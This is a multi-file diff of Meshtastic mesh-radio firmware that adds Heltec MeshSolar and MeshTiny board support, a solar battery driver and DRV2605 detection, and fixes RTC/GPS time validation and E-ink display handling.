<release version="2.7.5" date="2025-08-09">
|
||||
<url type="details">https://github.com/meshtastic/firmware/releases?q=tag%3Av2.7.5</url>
|
||||
</release>
|
||||
|
||||
@@ -0,0 +1,54 @@
|
||||
{
|
||||
"build": {
|
||||
"arduino": {
|
||||
"ldscript": "nrf52840_s140_v6.ld"
|
||||
},
|
||||
"core": "nRF5",
|
||||
"cpu": "cortex-m4",
|
||||
"extra_flags": "-DNRF52840_XXAA",
|
||||
"f_cpu": "64000000L",
|
||||
"hwids": [
|
||||
["0x239A", "0x4405"],
|
||||
["0x239A", "0x0029"],
|
||||
["0x239A", "0x002A"],
|
||||
["0x239A", "0x0071"]
|
||||
],
|
||||
"usb_product": "HT-n5262",
|
||||
"mcu": "nrf52840",
|
||||
"variant": "heltec_mesh_solar",
|
||||
"variants_dir": "variants",
|
||||
"bsp": {
|
||||
"name": "adafruit"
|
||||
},
|
||||
"softdevice": {
|
||||
"sd_flags": "-DS140",
|
||||
"sd_name": "s140",
|
||||
"sd_version": "6.1.1",
|
||||
"sd_fwid": "0x00B6"
|
||||
},
|
||||
"bootloader": {
|
||||
"settings_addr": "0xFF000"
|
||||
}
|
||||
},
|
||||
"connectivity": ["bluetooth"],
|
||||
"debug": {
|
||||
"jlink_device": "nRF52840_xxAA",
|
||||
"onboard_tools": ["jlink"],
|
||||
"svd_path": "nrf52840.svd",
|
||||
"openocd_target": "nrf52840-mdk-rs"
|
||||
},
|
||||
"frameworks": ["arduino"],
|
||||
"name": "Heltec nrf (Adafruit BSP)",
|
||||
"upload": {
|
||||
"maximum_ram_size": 248832,
|
||||
"maximum_size": 815104,
|
||||
"speed": 115200,
|
||||
"protocol": "nrfutil",
|
||||
"protocols": ["jlink", "nrfjprog", "nrfutil", "stlink"],
|
||||
"use_1200bps_touch": true,
|
||||
"require_upload_port": true,
|
||||
"wait_for_upload_port": true
|
||||
},
|
||||
"url": "https://heltec.org/project/meshsolar/",
|
||||
"vendor": "Heltec"
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
{
|
||||
"build": {
|
||||
"arduino": {
|
||||
"ldscript": "nrf52840_s140_v6.ld"
|
||||
},
|
||||
"core": "nRF5",
|
||||
"cpu": "cortex-m4",
|
||||
"extra_flags": "-DARDUINO_NRF52840_FEATHER -DNRF52840_XXAA",
|
||||
"f_cpu": "64000000L",
|
||||
"hwids": [
|
||||
["0x239A", "0x8029"],
|
||||
["0x239A", "0x0029"],
|
||||
["0x239A", "0x002A"],
|
||||
["0x239A", "0x802A"]
|
||||
],
|
||||
"usb_product": "MeshTiny",
|
||||
"mcu": "nrf52840",
|
||||
"variant": "meshtiny",
|
||||
"bsp": {
|
||||
"name": "adafruit"
|
||||
},
|
||||
"softdevice": {
|
||||
"sd_flags": "-DS140",
|
||||
"sd_name": "s140",
|
||||
"sd_version": "6.1.1",
|
||||
"sd_fwid": "0x00B6"
|
||||
},
|
||||
"bootloader": {
|
||||
"settings_addr": "0xFF000"
|
||||
}
|
||||
},
|
||||
"connectivity": ["bluetooth"],
|
||||
"debug": {
|
||||
"jlink_device": "nRF52840_xxAA",
|
||||
"svd_path": "nrf52840.svd",
|
||||
"openocd_target": "nrf52840-mdk-rs"
|
||||
},
|
||||
"frameworks": ["arduino", "freertos"],
|
||||
"name": "MeshTiny",
|
||||
"upload": {
|
||||
"maximum_ram_size": 248832,
|
||||
"maximum_size": 815104,
|
||||
"speed": 115200,
|
||||
"protocol": "nrfutil",
|
||||
"protocols": ["jlink", "nrfjprog", "nrfutil", "stlink"],
|
||||
"use_1200bps_touch": true,
|
||||
"require_upload_port": true,
|
||||
"wait_for_upload_port": true
|
||||
},
|
||||
"url": "https://github.com/meshtastic/firmware",
|
||||
"vendor": "MTools Tec"
|
||||
}
|
||||
Vendored
+6
-2
@@ -1,4 +1,4 @@
|
||||
meshtasticd (2.7.5.0) UNRELEASED; urgency=medium
|
||||
meshtasticd (2.7.7.0) UNRELEASED; urgency=medium
|
||||
|
||||
[ Austin Lane ]
|
||||
* Initial packaging
|
||||
@@ -37,4 +37,8 @@ meshtasticd (2.7.5.0) UNRELEASED; urgency=medium
|
||||
[ ]
|
||||
* GitHub Actions Automatic version bump
|
||||
|
||||
-- <github-actions[bot]@users.noreply.github.com> Sat, 09 Aug 2025 12:46:53 +0000
|
||||
[ ]
|
||||
* GitHub Actions Automatic version bump
|
||||
* GitHub Actions Automatic version bump
|
||||
|
||||
-- Ubuntu <github-actions[bot]@users.noreply.github.com> Thu, 28 Aug 2025 10:33:25 +0000
|
||||
|
||||
+12
-4
@@ -60,9 +60,9 @@ monitor_speed = 115200
|
||||
monitor_filters = direct
|
||||
lib_deps =
|
||||
# renovate: datasource=git-refs depName=meshtastic-esp8266-oled-ssd1306 packageName=https://github.com/meshtastic/esp8266-oled-ssd1306 gitBranch=master
|
||||
https://github.com/meshtastic/esp8266-oled-ssd1306/archive/0119501e9983bd894830b02f545c377ee08d66fe.zip
|
||||
# renovate: datasource=custom.pio depName=OneButton packageName=mathertel/library/OneButton
|
||||
mathertel/OneButton@2.6.1
|
||||
https://github.com/meshtastic/esp8266-oled-ssd1306/archive/9573abb64dc9c94f3051348f2bf4fc5cedf03c22.zip
|
||||
# renovate: datasource=git-refs depName=meshtastic-OneButton packageName=https://github.com/meshtastic/OneButton gitBranch=master
|
||||
https://github.com/meshtastic/OneButton/archive/fa352d668c53f290cfa480a5f79ad422cd828c70.zip
|
||||
# renovate: datasource=git-refs depName=meshtastic-arduino-fsm packageName=https://github.com/meshtastic/arduino-fsm gitBranch=master
|
||||
https://github.com/meshtastic/arduino-fsm/archive/7db3702bf0cfe97b783d6c72595e3f38e0b19159.zip
|
||||
# renovate: datasource=git-refs depName=meshtastic-TinyGPSPlus packageName=https://github.com/meshtastic/TinyGPSPlus gitBranch=master
|
||||
@@ -102,6 +102,14 @@ lib_deps =
|
||||
# renovate: datasource=custom.pio depName=Syslog packageName=arcao/library/Syslog
|
||||
arcao/Syslog@2.0.0
|
||||
|
||||
; Minimal networking libs for nrf52 (excludes Syslog to save flash)
|
||||
[nrf52_networking_base]
|
||||
lib_deps =
|
||||
# renovate: datasource=custom.pio depName=TBPubSubClient packageName=thingsboard/library/TBPubSubClient
|
||||
thingsboard/TBPubSubClient@2.12.1
|
||||
# renovate: datasource=custom.pio depName=NTPClient packageName=arduino-libraries/library/NTPClient
|
||||
arduino-libraries/NTPClient@3.2.1
|
||||
|
||||
[radiolib_base]
|
||||
lib_deps =
|
||||
# renovate: datasource=custom.pio depName=RadioLib packageName=jgromes/library/RadioLib
|
||||
@@ -110,7 +118,7 @@ lib_deps =
|
||||
[device-ui_base]
|
||||
lib_deps =
|
||||
# renovate: datasource=git-refs depName=meshtastic/device-ui packageName=https://github.com/meshtastic/device-ui gitBranch=master
|
||||
https://github.com/meshtastic/device-ui/archive/0cd108ff783539e41ef38258ba2784ab3b1bdc97.zip
|
||||
https://github.com/meshtastic/device-ui/archive/a3e0e1be372d069f47b4c19d718f5267251744d7.zip
|
||||
|
||||
; Common libs for environmental measurements in telemetry module
|
||||
[environmental_base]
|
||||
|
||||
+1
-1
Submodule protobufs updated: e2c0831aa3...4c4427c4a7
@@ -89,14 +89,22 @@ class BluetoothStatus : public Status
|
||||
case ConnectionState::CONNECTED:
|
||||
LOG_DEBUG("BluetoothStatus CONNECTED");
|
||||
#ifdef BLE_LED
|
||||
#ifdef BLE_LED_INVERTED
|
||||
digitalWrite(BLE_LED, LOW);
|
||||
#else
|
||||
digitalWrite(BLE_LED, HIGH);
|
||||
#endif
|
||||
#endif
|
||||
break;
|
||||
|
||||
case ConnectionState::DISCONNECTED:
|
||||
LOG_DEBUG("BluetoothStatus DISCONNECTED");
|
||||
#ifdef BLE_LED
|
||||
#ifdef BLE_LED_INVERTED
|
||||
digitalWrite(BLE_LED, HIGH);
|
||||
#else
|
||||
digitalWrite(BLE_LED, LOW);
|
||||
#endif
|
||||
#endif
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -681,6 +681,8 @@ bool Power::setup()
|
||||
found = true;
|
||||
} else if (lipoChargerInit()) {
|
||||
found = true;
|
||||
} else if (meshSolarInit()) {
|
||||
found = true;
|
||||
} else if (analogInit()) {
|
||||
found = true;
|
||||
}
|
||||
@@ -1450,3 +1452,75 @@ bool Power::lipoChargerInit()
|
||||
return false;
|
||||
}
|
||||
#endif
|
||||
|
||||
|
||||
|
||||
#ifdef HELTEC_MESH_SOLAR
|
||||
#include "meshSolarApp.h"
|
||||
|
||||
/**
|
||||
* meshSolar class for an SMBUS battery sensor.
|
||||
*/
|
||||
class meshSolarBatteryLevel : public HasBatteryLevel
|
||||
{
|
||||
|
||||
public:
|
||||
/**
|
||||
* Init the I2C meshSolar battery level sensor
|
||||
*/
|
||||
bool runOnce()
|
||||
{
|
||||
meshSolarStart();
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Battery state of charge, from 0 to 100 or -1 for unknown
|
||||
*/
|
||||
virtual int getBatteryPercent() override { return meshSolarGetBatteryPercent(); }
|
||||
|
||||
/**
|
||||
* The raw voltage of the battery in millivolts, or NAN if unknown
|
||||
*/
|
||||
virtual uint16_t getBattVoltage() override { return meshSolarGetBattVoltage(); }
|
||||
|
||||
/**
|
||||
* return true if there is a battery installed in this unit
|
||||
*/
|
||||
virtual bool isBatteryConnect() override { return meshSolarIsBatteryConnect(); }
|
||||
|
||||
/**
|
||||
* return true if there is an external power source detected
|
||||
*/
|
||||
virtual bool isVbusIn() override { return meshSolarIsVbusIn();}
|
||||
|
||||
/**
|
||||
* return true if the battery is currently charging
|
||||
*/
|
||||
virtual bool isCharging() override { return meshSolarIsCharging(); }
|
||||
};
|
||||
|
||||
meshSolarBatteryLevel meshSolarLevel;
|
||||
|
||||
/**
|
||||
* Init the meshSolar battery level sensor
|
||||
*/
|
||||
bool Power::meshSolarInit()
|
||||
{
|
||||
bool result = meshSolarLevel.runOnce();
|
||||
LOG_DEBUG("Power::meshSolarInit mesh solar sensor is %s", result ? "ready" : "not ready yet");
|
||||
if (!result)
|
||||
return false;
|
||||
batteryLevel = &meshSolarLevel;
|
||||
return true;
|
||||
}
|
||||
|
||||
#else
|
||||
/**
|
||||
* The meshSolar battery level sensor is unavailable - default to AnalogBatteryLevel
|
||||
*/
|
||||
bool Power::meshSolarInit()
|
||||
{
|
||||
return false;
|
||||
}
|
||||
#endif
|
||||
@@ -64,6 +64,14 @@ SerialConsole::SerialConsole() : StreamAPI(&Port), RedirectablePrint(&Port), con
|
||||
|
||||
int32_t SerialConsole::runOnce()
|
||||
{
|
||||
#ifdef HELTEC_MESH_SOLAR
|
||||
//After enabling the mesh solar serial port module configuration, command processing is handled by the serial port module.
|
||||
if(moduleConfig.serial.enabled && moduleConfig.serial.override_console_serial_port
|
||||
&& moduleConfig.serial.mode==meshtastic_ModuleConfig_SerialConfig_Serial_Mode_MS_CONFIG)
|
||||
{
|
||||
return 250;
|
||||
}
|
||||
#endif
|
||||
return runOncePart();
|
||||
}
|
||||
|
||||
|
||||
@@ -140,6 +140,10 @@ bool playNextLeadUpNote()
|
||||
playTones(¬e, 1); // Play single note using existing playTones function
|
||||
|
||||
leadUpNoteIndex++;
|
||||
|
||||
if (leadUpNoteIndex >= leadUpNotesCount) {
|
||||
return false; // this was the final note
|
||||
}
|
||||
return true; // Note was played (playTones handles buzzer availability internally)
|
||||
}
|
||||
|
||||
|
||||
+1
-1
@@ -135,7 +135,7 @@ along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
// -----------------------------------------------------------------------------
|
||||
// OLED & Input
|
||||
// -----------------------------------------------------------------------------
|
||||
#if defined(SEEED_WIO_TRACKER_L1)
|
||||
#if defined(SEEED_WIO_TRACKER_L1) && !defined(SEEED_WIO_TRACKER_L1_EINK)
|
||||
#define SSD1306_ADDRESS 0x3D
|
||||
#define USE_SH1106
|
||||
#else
|
||||
|
||||
@@ -79,7 +79,8 @@ class ScanI2C
|
||||
BQ27220,
|
||||
LTR553ALS,
|
||||
BHI260AP,
|
||||
BMM150
|
||||
BMM150,
|
||||
DRV2605
|
||||
} DeviceType;
|
||||
|
||||
// typedef uint8_t DeviceAddress;
|
||||
|
||||
@@ -483,8 +483,14 @@ void ScanI2CTwoWire::scanPort(I2CPort port, uint8_t *address, uint8_t asize)
|
||||
type = MLX90614;
|
||||
logFoundDevice("MLX90614", (uint8_t)addr.address);
|
||||
} else {
|
||||
type = MPR121KB;
|
||||
logFoundDevice("MPR121KB", (uint8_t)addr.address);
|
||||
registerValue = getRegisterValue(ScanI2CTwoWire::RegisterLocation(addr, 0x00), 1); // DRV2605_REG_STATUS
|
||||
if (registerValue == 0xe0) {
|
||||
type = DRV2605;
|
||||
logFoundDevice("DRV2605", (uint8_t)addr.address);
|
||||
} else {
|
||||
type = MPR121KB;
|
||||
logFoundDevice("MPR121KB", (uint8_t)addr.address);
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
|
||||
+6
-5
@@ -1504,7 +1504,7 @@ static int32_t toDegInt(RawDegrees d)
|
||||
* Perform any processing that should be done only while the GPS is awake and looking for a fix.
|
||||
* Override this method to check for new locations
|
||||
*
|
||||
* @return true if we've acquired a new location
|
||||
* @return true if we've set a new time
|
||||
*/
|
||||
bool GPS::lookForTime()
|
||||
{
|
||||
@@ -1544,11 +1544,12 @@ The Unix epoch (or Unix time or POSIX time or Unix timestamp) is the number of s
|
||||
if (t.tm_mon > -1) {
|
||||
LOG_DEBUG("NMEA GPS time %02d-%02d-%02d %02d:%02d:%02d age %d", d.year(), d.month(), t.tm_mday, t.tm_hour, t.tm_min,
|
||||
t.tm_sec, ti.age());
|
||||
if (perhapsSetRTC(RTCQualityGPS, t) == RTCSetResultInvalidTime) {
|
||||
// Clear the GPS buffer if we got an invalid time
|
||||
clearBuffer();
|
||||
if (perhapsSetRTC(RTCQualityGPS, t) == RTCSetResultSuccess) {
|
||||
LOG_DEBUG("Time set.");
|
||||
return true;
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
} else
|
||||
return false;
|
||||
} else
|
||||
|
||||
+22
-4
@@ -23,7 +23,7 @@ static uint64_t zeroOffsetSecs; // GPS based time in secs since 1970 - only upda
|
||||
* Reads the current date and time from the RTC module and updates the system time.
|
||||
* @return True if the RTC was successfully read and the system time was updated, false otherwise.
|
||||
*/
|
||||
void readFromRTC()
|
||||
RTCSetResult readFromRTC()
|
||||
{
|
||||
struct timeval tv; /* btw settimeofday() is helpful here too*/
|
||||
#ifdef RV3028_RTC
|
||||
@@ -44,8 +44,15 @@ void readFromRTC()
|
||||
t.tm_sec = rtc.getSecond();
|
||||
tv.tv_sec = gm_mktime(&t);
|
||||
tv.tv_usec = 0;
|
||||
|
||||
uint32_t printableEpoch = tv.tv_sec; // Print lib only supports 32 bit but time_t can be 64 bit on some platforms
|
||||
|
||||
#ifdef BUILD_EPOCH
|
||||
if (tv.tv_sec < BUILD_EPOCH) {
|
||||
LOG_WARN("Ignore time (%ld) before build epoch (%ld)!", printableEpoch, BUILD_EPOCH);
|
||||
return RTCSetResultInvalidTime;
|
||||
}
|
||||
#endif
|
||||
|
||||
LOG_DEBUG("Read RTC time from RV3028 getTime as %02d-%02d-%02d %02d:%02d:%02d (%ld)", t.tm_year + 1900, t.tm_mon + 1,
|
||||
t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec, printableEpoch);
|
||||
timeStartMsec = now;
|
||||
@@ -53,6 +60,7 @@ void readFromRTC()
|
||||
if (currentQuality == RTCQualityNone) {
|
||||
currentQuality = RTCQualityDevice;
|
||||
}
|
||||
return RTCSetResultSuccess;
|
||||
}
|
||||
#elif defined(PCF8563_RTC)
|
||||
if (rtc_found.address == PCF8563_RTC) {
|
||||
@@ -75,8 +83,15 @@ void readFromRTC()
|
||||
t.tm_sec = tc.second;
|
||||
tv.tv_sec = gm_mktime(&t);
|
||||
tv.tv_usec = 0;
|
||||
|
||||
uint32_t printableEpoch = tv.tv_sec; // Print lib only supports 32 bit but time_t can be 64 bit on some platforms
|
||||
|
||||
#ifdef BUILD_EPOCH
|
||||
if (tv.tv_sec < BUILD_EPOCH) {
|
||||
LOG_WARN("Ignore time (%ld) before build epoch (%ld)!", printableEpoch, BUILD_EPOCH);
|
||||
return RTCSetResultInvalidTime;
|
||||
}
|
||||
#endif
|
||||
|
||||
LOG_DEBUG("Read RTC time from PCF8563 getDateTime as %02d-%02d-%02d %02d:%02d:%02d (%ld)", t.tm_year + 1900, t.tm_mon + 1,
|
||||
t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec, printableEpoch);
|
||||
timeStartMsec = now;
|
||||
@@ -84,6 +99,7 @@ void readFromRTC()
|
||||
if (currentQuality == RTCQualityNone) {
|
||||
currentQuality = RTCQualityDevice;
|
||||
}
|
||||
return RTCSetResultSuccess;
|
||||
}
|
||||
#else
|
||||
if (!gettimeofday(&tv, NULL)) {
|
||||
@@ -92,8 +108,10 @@ void readFromRTC()
|
||||
LOG_DEBUG("Read RTC time as %ld", printableEpoch);
|
||||
timeStartMsec = now;
|
||||
zeroOffsetSecs = tv.tv_sec;
|
||||
return RTCSetResultSuccess;
|
||||
}
|
||||
#endif
|
||||
return RTCSetResultNotSet;
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -101,7 +119,7 @@ void readFromRTC()
|
||||
*
|
||||
* @param q The quality of the provided time.
|
||||
* @param tv A pointer to a timeval struct containing the time to potentially set the RTC to.
|
||||
* @return True if the RTC was set, false otherwise.
|
||||
* @return RTCSetResult
|
||||
*
|
||||
* If we haven't yet set our RTC this boot, set it from a GPS derived time
|
||||
*/
|
||||
|
||||
+1
-1
@@ -48,7 +48,7 @@ uint32_t getTime(bool local = false);
|
||||
/// Return time since 1970 in secs. If quality is RTCQualityNone return zero
|
||||
uint32_t getValidTime(RTCQuality minQuality, bool local = false);
|
||||
|
||||
void readFromRTC();
|
||||
RTCSetResult readFromRTC();
|
||||
|
||||
time_t gm_mktime(struct tm *tm);
|
||||
|
||||
|
||||
@@ -33,6 +33,7 @@
|
||||
*/
|
||||
|
||||
// Constructor
|
||||
|
||||
EInkDisplay::EInkDisplay(uint8_t address, int sda, int scl, OLEDDISPLAY_GEOMETRY geometry, HW_I2C i2cBus)
|
||||
{
|
||||
// Set dimensions in OLEDDisplay base class
|
||||
@@ -67,20 +68,28 @@ bool EInkDisplay::forceDisplay(uint32_t msecLimit)
|
||||
|
||||
// FIXME - only draw bits have changed (use backbuf similar to the other displays)
|
||||
const bool flipped = config.display.flip_screen;
|
||||
// HACK for L1 EInk
|
||||
#if defined(SEEED_WIO_TRACKER_L1_EINK)
|
||||
// For SEEED_WIO_TRACKER_L1_EINK, setRotation(3) is correct but mirrored; flip both axes
|
||||
for (uint32_t y = 0; y < displayHeight; y++) {
|
||||
for (uint32_t x = 0; x < displayWidth; x++) {
|
||||
auto b = buffer[x + (y / 8) * displayWidth];
|
||||
auto isset = b & (1 << (y & 7));
|
||||
adafruitDisplay->drawPixel((displayWidth - 1) - x, (displayHeight - 1) - y, isset ? GxEPD_BLACK : GxEPD_WHITE);
|
||||
}
|
||||
}
|
||||
#else
|
||||
for (uint32_t y = 0; y < displayHeight; y++) {
|
||||
for (uint32_t x = 0; x < displayWidth; x++) {
|
||||
// get src pixel in the page based ordering the OLED lib uses FIXME, super inefficient
|
||||
auto b = buffer[x + (y / 8) * displayWidth];
|
||||
auto isset = b & (1 << (y & 7));
|
||||
|
||||
// Handle flip here, rather than with setRotation(),
|
||||
// Avoids issues when display width is not a multiple of 8
|
||||
if (flipped)
|
||||
adafruitDisplay->drawPixel((displayWidth - 1) - x, (displayHeight - 1) - y, isset ? GxEPD_BLACK : GxEPD_WHITE);
|
||||
else
|
||||
adafruitDisplay->drawPixel(x, y, isset ? GxEPD_BLACK : GxEPD_WHITE);
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
// Trigger the refresh in GxEPD2
|
||||
LOG_DEBUG("Update E-Paper");
|
||||
@@ -140,13 +149,13 @@ bool EInkDisplay::connect()
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#if defined(TTGO_T_ECHO) || defined(ELECROW_ThinkNode_M1)
|
||||
#if defined(TTGO_T_ECHO) || defined(ELECROW_ThinkNode_M1) || defined(T_ECHO_LITE)
|
||||
{
|
||||
auto lowLevel = new EINK_DISPLAY_MODEL(PIN_EINK_CS, PIN_EINK_DC, PIN_EINK_RES, PIN_EINK_BUSY, SPI1);
|
||||
|
||||
adafruitDisplay = new GxEPD2_BW<EINK_DISPLAY_MODEL, EINK_DISPLAY_MODEL::HEIGHT>(*lowLevel);
|
||||
adafruitDisplay->init();
|
||||
#ifdef ELECROW_ThinkNode_M1
|
||||
#if defined(ELECROW_ThinkNode_M1) || defined(T_ECHO_LITE)
|
||||
adafruitDisplay->setRotation(4);
|
||||
#else
|
||||
adafruitDisplay->setRotation(3);
|
||||
@@ -221,6 +230,12 @@ bool EInkDisplay::connect()
|
||||
adafruitDisplay->setRotation(0);
|
||||
adafruitDisplay->setPartialWindow(0, 0, EINK_WIDTH, EINK_HEIGHT);
|
||||
}
|
||||
#elif defined(LORA_TYPE)
|
||||
auto lowLevel = new TECHO_DISPLAY_MODEL(PIN_EINK_CS, PIN_EINK_DC, PIN_EINK_RES, PIN_EINK_BUSY);
|
||||
adafruitDisplay = new GxEPD2_BW<TECHO_DISPLAY_MODEL, TECHO_DISPLAY_MODEL::HEIGHT>(*lowLevel);
|
||||
adafruitDisplay->init(115200, true, 40, false, SPI, SPISettings(4000000, MSBFIRST, SPI_MODE0));
|
||||
adafruitDisplay->setRotation(3);
|
||||
adafruitDisplay->setPartialWindow(0, 0, EPD_WIDTH, EPD_HEIGHT);
|
||||
#elif defined(M5_COREINK) || defined(T_DECK_PRO)
|
||||
auto lowLevel = new EINK_DISPLAY_MODEL(PIN_EINK_CS, PIN_EINK_DC, PIN_EINK_RES, PIN_EINK_BUSY);
|
||||
adafruitDisplay = new GxEPD2_BW<EINK_DISPLAY_MODEL, EINK_DISPLAY_MODEL::HEIGHT>(*lowLevel);
|
||||
@@ -235,7 +250,7 @@ bool EInkDisplay::connect()
|
||||
adafruitDisplay->setRotation(1);
|
||||
adafruitDisplay->setPartialWindow(0, 0, EINK_WIDTH, EINK_HEIGHT);
|
||||
}
|
||||
#elif defined(HELTEC_MESH_POCKET)
|
||||
#elif defined(HELTEC_MESH_POCKET) || defined(SEEED_WIO_TRACKER_L1_EINK)
|
||||
{
|
||||
spi1 = &SPI1;
|
||||
spi1->begin();
|
||||
@@ -249,6 +264,7 @@ bool EInkDisplay::connect()
|
||||
// Init GxEPD2
|
||||
adafruitDisplay->init();
|
||||
adafruitDisplay->setRotation(3);
|
||||
adafruitDisplay->setPartialWindow(0, 0, EINK_WIDTH, EINK_HEIGHT);
|
||||
}
|
||||
#elif defined(HELTEC_WIRELESS_PAPER) || defined(HELTEC_VISION_MASTER_E213)
|
||||
|
||||
|
||||
@@ -84,7 +84,7 @@ class EInkDisplay : public OLEDDisplay
|
||||
SPIClass *hspi = NULL;
|
||||
#endif
|
||||
|
||||
#if defined(HELTEC_MESH_POCKET)
|
||||
#if defined(HELTEC_MESH_POCKET) || defined(SEEED_WIO_TRACKER_L1_EINK)
|
||||
SPIClass *spi1 = NULL;
|
||||
#endif
|
||||
|
||||
|
||||
+12
-14
@@ -318,7 +318,7 @@ Screen::Screen(ScanI2C::DeviceAddress address, meshtastic_Config_DisplayConfig_O
|
||||
dispdev = new SSD1306Wire(address.address, -1, -1, geometry,
|
||||
(address.port == ScanI2C::I2CPort::WIRE1) ? HW_I2C::I2C_TWO : HW_I2C::I2C_ONE);
|
||||
#elif defined(ST7735_CS) || defined(ILI9341_DRIVER) || defined(ILI9342_DRIVER) || defined(ST7701_CS) || defined(ST7789_CS) || \
|
||||
defined(RAK14014) || defined(HX8357_CS) || defined(ILI9488_CS)
|
||||
defined(RAK14014) || defined(HX8357_CS) || defined(ILI9488_CS) || defined(ST7796_CS)
|
||||
dispdev = new TFTDisplay(address.address, -1, -1, geometry,
|
||||
(address.port == ScanI2C::I2CPort::WIRE1) ? HW_I2C::I2C_TWO : HW_I2C::I2C_ONE);
|
||||
#elif defined(USE_EINK) && !defined(USE_EINK_DYNAMICDISPLAY)
|
||||
@@ -365,9 +365,6 @@ void Screen::doDeepSleep()
|
||||
{
|
||||
#ifdef USE_EINK
|
||||
setOn(false, graphics::UIRenderer::drawDeepSleepFrame);
|
||||
#ifdef PIN_EINK_EN
|
||||
digitalWrite(PIN_EINK_EN, LOW); // power off backlight
|
||||
#endif
|
||||
#else
|
||||
// Without E-Ink display:
|
||||
setOn(false);
|
||||
@@ -391,8 +388,12 @@ void Screen::handleSetOn(bool on, FrameCallback einkScreensaver)
|
||||
dispdev->displayOn();
|
||||
#endif
|
||||
|
||||
#ifdef ELECROW_ThinkNode_M5
|
||||
io.digitalWrite(PCA_PIN_EINK_EN, HIGH);
|
||||
#ifdef PIN_EINK_EN
|
||||
if (uiconfig.screen_brightness == 1)
|
||||
digitalWrite(PIN_EINK_EN, HIGH);
|
||||
#elif defined(PCA_PIN_EINK_EN)
|
||||
if (uiconfig.screen_brightness == 1)
|
||||
io.digitalWrite(PCA_PIN_EINK_EN, HIGH);
|
||||
#endif
|
||||
|
||||
#if defined(ST7789_CS) && \
|
||||
@@ -424,13 +425,10 @@ void Screen::handleSetOn(bool on, FrameCallback einkScreensaver)
|
||||
// eInkScreensaver parameter is usually NULL (default argument), default frame used instead
|
||||
setScreensaverFrames(einkScreensaver);
|
||||
#endif
|
||||
#ifdef ELECROW_ThinkNode_M1
|
||||
if (digitalRead(PIN_EINK_EN) == HIGH) {
|
||||
digitalWrite(PIN_EINK_EN, LOW);
|
||||
}
|
||||
#endif
|
||||
|
||||
#ifdef ELECROW_ThinkNode_M5
|
||||
#ifdef PIN_EINK_EN
|
||||
digitalWrite(PIN_EINK_EN, LOW);
|
||||
#elif defined(PCA_PIN_EINK_EN)
|
||||
io.digitalWrite(PCA_PIN_EINK_EN, LOW);
|
||||
#endif
|
||||
|
||||
@@ -552,7 +550,7 @@ void Screen::setup()
|
||||
#else
|
||||
if (!config.display.flip_screen) {
|
||||
#if defined(ST7701_CS) || defined(ST7735_CS) || defined(ILI9341_DRIVER) || defined(ILI9342_DRIVER) || defined(ST7789_CS) || \
|
||||
defined(RAK14014) || defined(HX8357_CS) || defined(ILI9488_CS)
|
||||
defined(RAK14014) || defined(HX8357_CS) || defined(ILI9488_CS) || defined(ST7796_CS)
|
||||
static_cast<TFTDisplay *>(dispdev)->flipScreenVertically();
|
||||
#elif defined(USE_ST7789)
|
||||
static_cast<ST7789Spi *>(dispdev)->flipScreenVertically();
|
||||
@@ -694,7 +692,7 @@ int32_t Screen::runOnce()
|
||||
|
||||
#ifndef DISABLE_WELCOME_UNSET
|
||||
if (!NotificationRenderer::isOverlayBannerShowing() && config.lora.region == meshtastic_Config_LoRaConfig_RegionCode_UNSET) {
|
||||
menuHandler::LoraRegionPicker(0);
|
||||
menuHandler::OnboardMessage();
|
||||
}
|
||||
#endif
|
||||
if (!NotificationRenderer::isOverlayBannerShowing() && rebootAtMsec != 0) {
|
||||
|
||||
@@ -16,7 +16,7 @@
|
||||
#include "graphics/fonts/OLEDDisplayFontsCS.h"
|
||||
#endif
|
||||
|
||||
#ifdef CROWPANEL_ESP32S3_5_EPAPER
|
||||
#if defined(CROWPANEL_ESP32S3_5_EPAPER) && defined(USE_EINK)
|
||||
#include "graphics/fonts/EinkDisplayFonts.h"
|
||||
#endif
|
||||
|
||||
@@ -40,6 +40,9 @@
|
||||
#ifdef OLED_PL
|
||||
#define FONT_MEDIUM_LOCAL ArialMT_Plain_16_PL // Height: 19
|
||||
#else
|
||||
#ifdef OLED_RU
|
||||
#define FONT_MEDIUM_LOCAL ArialMT_Plain_16_RU // Height: 19
|
||||
#else
|
||||
#ifdef OLED_UA
|
||||
#define FONT_MEDIUM_LOCAL ArialMT_Plain_16_UA // Height: 19
|
||||
#else
|
||||
@@ -50,9 +53,13 @@
|
||||
#endif
|
||||
#endif
|
||||
#endif
|
||||
#endif
|
||||
#ifdef OLED_PL
|
||||
#define FONT_LARGE_LOCAL ArialMT_Plain_24_PL // Height: 28
|
||||
#else
|
||||
#ifdef OLED_RU
|
||||
#define FONT_LARGE_LOCAL ArialMT_Plain_24_RU // Height: 28
|
||||
#else
|
||||
#ifdef OLED_UA
|
||||
#define FONT_LARGE_LOCAL ArialMT_Plain_24_UA // Height: 28
|
||||
#else
|
||||
@@ -63,9 +70,10 @@
|
||||
#endif
|
||||
#endif
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#if (defined(USE_EINK) || defined(ILI9341_DRIVER) || defined(ILI9342_DRIVER) || defined(ST7701_CS) || defined(ST7735_CS) || \
|
||||
defined(ST7789_CS) || defined(USE_ST7789) || defined(HX8357_CS) || defined(ILI9488_CS)) && \
|
||||
defined(ST7789_CS) || defined(USE_ST7789) || defined(HX8357_CS) || defined(ILI9488_CS) || defined(ST7796_CS)) && \
|
||||
!defined(DISPLAY_FORCE_SMALL_FONTS)
|
||||
// The screen is bigger so use bigger fonts
|
||||
#define FONT_SMALL FONT_MEDIUM_LOCAL // Height: 19
|
||||
@@ -77,7 +85,7 @@
|
||||
#define FONT_LARGE FONT_LARGE_LOCAL // Height: 28
|
||||
#endif
|
||||
|
||||
#if defined(CROWPANEL_ESP32S3_5_EPAPER)
|
||||
#if defined(CROWPANEL_ESP32S3_5_EPAPER) && defined(USE_EINK)
|
||||
#undef FONT_SMALL
|
||||
#undef FONT_MEDIUM
|
||||
#undef FONT_LARGE
|
||||
|
||||
+259
-22
